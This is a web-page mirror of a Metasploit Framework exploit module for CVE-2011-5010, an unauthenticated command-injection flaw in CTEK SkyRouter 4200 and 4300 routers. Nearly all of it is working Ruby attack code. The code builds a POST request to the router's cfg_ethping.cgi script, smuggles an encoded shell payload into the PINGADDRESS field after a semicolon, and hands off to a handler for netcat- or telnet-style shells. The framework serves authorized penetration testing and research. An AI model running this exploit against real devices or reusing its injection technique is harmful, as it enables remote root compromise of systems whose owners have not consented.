CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/http/ctek_skyrouter.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::HttpClient
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'CTEK SkyRouter 4200 and 4300 Command Execution',
15
'Description' => %q{
16
This module exploits an unauthenticated remote root exploit within ctek SkyRouter 4200 and 4300.
17
},
18
'Author' => [ 'savant42' ], #with module help from kos
19
'License' => MSF_LICENSE,
20
'References' => [
21
['CVE', '2011-5010'],
22
['OSVDB', '77497']
23
],
24
'Privileged' => false,
25
'Payload' =>
26
{
27
'DisableNops' => true,
28
'Space' => 1024,
29
'Compat' =>
30
{
31
'PayloadType' => 'cmd',
32
'RequiredCmd' => 'generic perl telnet netcat netcat-e',
33
}
34
},
35
'Platform' => 'unix',
36
'Arch' => ARCH_CMD,
37
'Targets' => [[ 'Automatic', { }]],
38
'DisclosureDate' => '2011-09-08', # CGI historical date :)
39
'DefaultTarget' => 0))
40
41
end
42
43
def exploit
44
post_data = "MYLINK=%2Fapps%2Fa3%2Fcfg_ethping.cgi&CMD=u&PINGADDRESS=;" + Rex::Text.uri_encode(payload.encoded) + "+%26"
45
uri = '/apps/a3/cfg_ethping.cgi'
46
print_status("Sending HTTP request for #{uri}")
47
res = send_request_cgi( {
48
'global' => true,
49
'uri' => uri,
50
'method' => "POST",
51
'data' => post_data
52
}, 30)
53
54
if res
55
print_status("The server responded with HTTP CODE #{res.code}")
56
else
57
print_status("The server did not respond to our request")
58
end
59
60
handler
61
end
62
end
63
64